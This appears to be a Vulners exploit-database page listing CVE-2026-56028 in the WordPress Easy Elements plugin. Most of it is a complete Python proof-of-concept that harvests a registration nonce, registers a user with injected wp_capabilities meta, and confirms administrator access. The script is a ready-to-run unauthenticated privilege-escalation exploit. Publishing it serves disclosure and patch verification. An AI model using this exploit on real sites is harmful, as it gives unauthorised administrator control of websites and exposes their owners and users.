📄 WordPress Easy Elements 1.4.8 Unauthenticated Privilege Escalation
| Reporter | Title | Published | Views | Family All 7 |
|---|---|---|---|---|
| CVE-2026-56028 | 26 Jun 202614:52 | – | cve | |
| CVE-2026-56028 WordPress Easy Elements for Elementor – Addons & Website Templates plugin <= 1.4.9 - Privilege Escalation vulnerability | 26 Jun 202614:52 | – | cvelist | |
| EUVD-2026-39691 | 26 Jun 202614:52 | – | euvd | |
| CVE-2026-56028 | 26 Jun 202615:16 | – | nvd | |
| WordPress Easy Elements for Elementor – Addons & Website Templates plugin <= 1.4.9 - Privilege Escalation vulnerability | 23 Jun 202609:27 | – | patchstack | |
| PT-2026-52744 | 26 Jun 202600:00 | – | ptsecurity | |
| CVE-2026-56028 WordPress Easy Elements for Elementor – Addons & Website Templates plugin <= 1.4.9 - Privilege Escalation vulnerability | 26 Jun 202614:52 | – | vulnrichment |
#!/usr/bin/env python3
# Exploit Title: WordPress Plugin Easy Elements (Elementor Addon) <= 1.4.8 - Unauthenticated Privilege Escalation to Administrator
# Google Dork: N/A
# Date: 2026-07-10
# Exploit Author: A. Ramos <[email protected]> / @aramosf
# Vendor Homepage: https://wordpress.org/plugins/easy-elements/
# Software Link: https://downloads.wordpress.org/plugin/easy-elements.1.4.8.zip
# Version: 1.4.8 (REQUIRED)
# Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
# CVE : CVE-2026-56028
r"""
Easy Elements <= 1.4.8 registers the unauthenticated AJAX action eel_register
(widgets/login-register/class.login-register.php:9 wp_ajax_nopriv_eel_register; the class is
instantiated unconditionally at :190, so the handler is live without any Elementor page rendered).
The 1.4.8 hardening only sanitises the `role` field (forced to subscriber) but STILL loops the
attacker-supplied `custom_meta` array into update_user_meta() with no key allowlist:
65 $custom_meta = map_deep( wp_unslash($_POST['custom_meta']), 'sanitize_text_field' );
120 $user_id = wp_insert_user( $user_data ); // role forced to subscriber (red herring)
127 foreach ( $custom_meta as $key => $value ) // NO allowlist
128 update_user_meta( $user_id, $key, $value ); // wp_capabilities writable directly
Supplying custom_meta[wp_capabilities][administrator]=1 overwrites the capability meta ->
the freshly-registered user is an administrator.
The registration nonce (action 'easy_elements_nonce', field 'eel_register_nonce') is printed by the
Easy Elements "Login / Register" Elementor widget in register mode
(login-register.php:1562). Because registration is unauthenticated, the nonce is an anonymous-user
nonce (stable per WordPress nonce tick), harvestable from any page rendering that widget:
name="eel_register_nonce"\s+value="([a-f0-9]{10})"
Prior state: plugin active + users_can_register=1 + a page containing the Easy Elements
Login/Register widget (register form) as the nonce source.
"""
import argparse, sys, re, random
import requests
requests.packages.urllib3.disable_warnings()
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", required=True)
ap.add_argument("--nonce", help="easy_elements_nonce (harvested from the Login/Register widget page)")
ap.add_argument("--page", help="URL of a page rendering the Easy Elements Login/Register widget")
ap.add_argument("--user", default="eel" + str(random.randint(1000, 99999)))
ap.add_argument("--pass", dest="pw", default="Passw0rd!123")
args = ap.parse_args()
base = args.target.rstrip("/")
s = requests.Session(); s.verify = False
nonce = args.nonce
if not nonce and args.page:
h = s.get(args.page).text
m = re.search(r'name="eel_register_nonce"\s+value="([a-f0-9]{10})"', h)
nonce = m.group(1) if m else None
if not nonce:
print("[-] need --nonce (from the Login/Register widget page) or --page"); return 1
print(f"[*] Target: {base} | user: {args.user} | nonce: {nonce}")
d = {"action": "eel_register", "eel_register_nonce": nonce, "nonce": nonce,
"user_login": args.user, "user_email": args.user + "@evil.test", "user_pass": args.pw,
"custom_meta[wp_capabilities][administrator]": "1", "auto_login": "yes"}
r = s.post(base + "/wp-admin/admin-ajax.php", data=d, timeout=25)
print(f"[*] eel_register -> HTTP {r.status_code} :: {r.text[:140]}")
a = requests.Session(); a.verify = False
a.get(base + "/wp-login.php"); a.cookies.set("wordpress_test_cookie", "WP+Cookie+check")
a.post(base + "/wp-login.php", data={"log": args.user, "pwd": args.pw, "wp-submit": "Log In",
"redirect_to": base + "/wp-admin/", "testcookie": "1"}, allow_redirects=True)
p = a.get(base + "/wp-admin/plugins.php", timeout=20)
if p.status_code == 200 and ("Deactivate" in p.text or "plugin-title" in p.text):
print(f"\n[+] PRIVILEGE ESCALATION CONFIRMED — new user '{args.user}' is administrator.")
return 0
print(f"\n[-] not confirmed (plugins.php={p.status_code})"); return 1
if __name__ == "__main__":
sys.exit(main())Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
21 Jul 2026 00:00Current
5.4Medium risk
Vulners AI Score5.4
CVSS 3.19.8
EPSS0.0036
SSVC